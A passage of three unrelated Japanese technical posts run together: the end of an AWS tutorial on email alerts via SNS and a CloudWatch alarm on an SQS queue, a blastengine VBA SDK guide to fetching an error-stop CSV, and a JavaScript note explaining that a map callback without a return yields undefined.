メッセージの内容はSQSからキューを選択＞メッセージの送受信＞メッセージをポーリングすることで確認できます(一部切り取っていますが下記写真参照)。
![スクリーンショット 2024-09-25 22.30.42.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3576260/6abf4147-660b-e86c-c932-6f911f4494f2.png)


## その2: キューにメッセージが入ったことを検知してメール送信してみる

次に、SQSへのエンキューを検知して通知を送信する仕組みを作っていきます。なお、通知の仕組みにはLambdaを用いたものやEventBridgeを用いたものもありますが、今回は簡単のためにCloudWatchのアラーム機能を使用してみます。

### SNSの作成
1. コンソールからSNSにアクセス。トピック＞トピックの作成をクリック
2. トピックの名称を決めて保存する
3. 「サブスクリプション」タブをクリック。今回はメール送信を実現したいので、プロトコル選択部分でEMAILを選択して、通知を送りたいメールアドレスを入力
4. 登録したメールアドレスに認証メールのようなものが届くのでクリック。これをしないと通知が送信されないため注意。
![スクリーンショット 2024-09-25 22.21.38.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3576260/cb655898-0c0b-d098-c1f9-c124a3fed21d.png)
![スクリーンショット 2024-09-25 22.21.48.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3576260/eee45bfb-b94d-1776-4e4e-f4f8ec16df35.png)


### CloudWatchアラームの設定
1. アラーム＞アラームの作成をクリック
2. メトリクスを選ぶ箇所で「NumberOfMessagesSent」を入力。1.で作成したキューが選択されていることを確認
3. アラート状態となる条件を入力する。今回は、1件でもタスク起動に失敗したら通知して欲しいので、5分間での合計が0より大きいとしてみました。
4. 次の画面で「アラーム状態」を選択し、通知先に作成したトピックを選択する
5. アラーム名とアラームの説明を入力する。アラーム名は後から変更できないため注意！

先ほどと同様にタスク起動をわざと失敗させてみて、メールが飛んできたら成功です。また、ポリシーを触りたくない場合はSQS>メッセージの送受信>メッセージの送信をすることでメールが飛んでくるか確認することもできます。

# 感想

適切なメトリクスを選ぶところが少し難しかったですが、手軽に通知の仕組みを作成することができました。また、EventBridgeのルールの数が増えた時も同じDLQにメッセージを送信するようにすれば、タスク起動失敗時には同じようにメールが飛んできます。将来的に仕組みを使いまわせるところも魅力的だと思いました。
blastengine VBA SDKを使ってエラー停止CSVを取得する

[blastengine](https://blastengine.jp/)はシンプルに使える開発者向けメールサービスを提供しています。何かと面倒なメール配信をシンプルに、かつ確実に送信先へ届くようになります。

今回は今開発中のVBA用SDK（以下VBA SDK）を使って、エラー停止CSVを取得する方法を解説します。

## コードについて

コードはGitHubにアップしてあります。ライセンスはMIT Licenseになります。

[blastengineMania/blastengine-vba: blastengineのVBA SDKです](https://github.com/blastengineMania/blastengine-vba)

## ユーザ登録する

blastengineにユーザ登録します。管理画面に入るためのユーザID、パスワードが手に入るので、ログインします（ユーザIDは後で使います）。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/197026/a422bcad-3587-5418-d9cc-1d0b678b5f04.png)


## 送信元ドメインのSPFを設定する

送信元として利用するドメイン（自分で持っているもの）の設定をします。これは任意のドメイン管理サービスで設定できますが、TXTレコードに以下のSPFを追加します。

```
txt @ v=spf1 include:spf.besender.jp ~all
```

## APIキーを取得する

ログイン後、管理画面の右上にある設定メニューに移動します。

![getting-started-6.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/197026/78a4eeb3-4649-149f-8246-44f83d03a0cf.jpeg)

そして設定の中で、APIキーを取得します。

![getting-started-5.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/197026/d21fc4e3-36f0-6f5c-23e3-8c675e16f538.png)

## SDKのインストール

[SDKは リリースページでマクロ付きExcelファイルをダウンロードする](https://github.com/blastengineMania/blastengine-vba/releases)か、リポジトリの内容をvbacでコンパイルしてください。

[blastengineMania/blastengine-vba: blastengineのVBA SDKです](https://github.com/blastengineMania/blastengine-vba)

## 参照設定について

VBAエディタで、ツール > 参照設定 から、以下の参照設定を追加してください。

- Microsoft ActiveX Data Objects 6.1 Library
- Microsoft XML, v6.0

※ 将来的には、参照設定を不要にする予定です。

## 初期化

先ほどのAPIキーとユーザIDを使って初期化します。

```vb
Dim client As new Blastengine
client.ApiKey = "YOUR_API_KEY"
client.UserId = "YOUR_USER_NAME"
```

## エラー停止CSVの検索

### エラー停止CSV検索用のクラス

blastengine VBA SDKでメール検索を行う際には `Error` クラスを利用してください。

### 検索条件

Errorクラスにある各種プロパティが利用できます。

```vb
Dim Error As Error
Set Error = Client.Error
Error.ErrorStart = DateAdd("d", -3, Now) ' 3日前から
```

### 検索実行

検索は `Start` メソッドを使います。取得失敗した場合は `False` が返ります。

```vb
If Error.Start = False Then
		Debug.Print JsonConverter.ConvertToJson(Error.Error)
		Exit Sub
End If
```

取得処理は非同期で行われるため、取得が完了するまで待機する必要があります。

```vb
While Error.Job.Finished = False
		Application.WAIT (Now + TimeValue("0:00:01"))
Wend
```

## CSVを取得する

処理が完了したら、CSVの内容を取得します。

```vb
Debug.Print Client.GetFile(Error.Job.ErrorFileUrl)
```

結果はCSVの内容です。

```csv
配信停止番号	登録日時	メールアドレス	応答コード	エラーメッセージ
46	2024/9/25 12:00	user@example.com	554(banned)	配信が禁止されたアドレスへの配信のためブロックしました
```

## まとめ

エラーの内容を解析して、メールアドレスごとの対応ができます。また、エラー原因も分かりますので、必要に応じてデータを修正したり、対応を行ってください。

VBA SDKは、Excelなどと組み合わせてメール配信ができるようになります。ぜひご利用ください。

[blastengine API](https://blastengine.jp/documents/)
【JavaScript / TypeScript】mapの結果がundefinedになる原因

下記のような配列を作り、数値が一桁の場合は左にスペースを2つ入れて文字列として出力する処理をしたかったのですが、`undefined`になってしまいました。

```js
let array = [1, 4, 9, 16];
```

```js:NG
console.log(array.map((x) => {
  let squaredString = String(x);
  
  if (squaredString.length == 1) {
    squaredString = "  " + squaredString;
  }
}));

// => (4) [undefined, undefined, undefined, undefined]
```

原因は条件分岐で評価されなかった値があったためでした。
mapは各要素に対して操作をして新しい配列を作るため、評価されない要素があるとダメということですね。
下記のようにして解決できました。

```js:OK
console.log(array.map((x) => {
  let squaredString = String(x);
  
  if (squaredString.length == 1) {
    squaredString = "  " + squaredString;
  }
  return squaredString;
}));

// => (4) ['  1', '  4', '  9', '16']
```

### 参考
- [javascript 「map使用時に値がundefinedになる」の解決方法 | mebee](https://mebee.info/2023/02/11/post-85228/)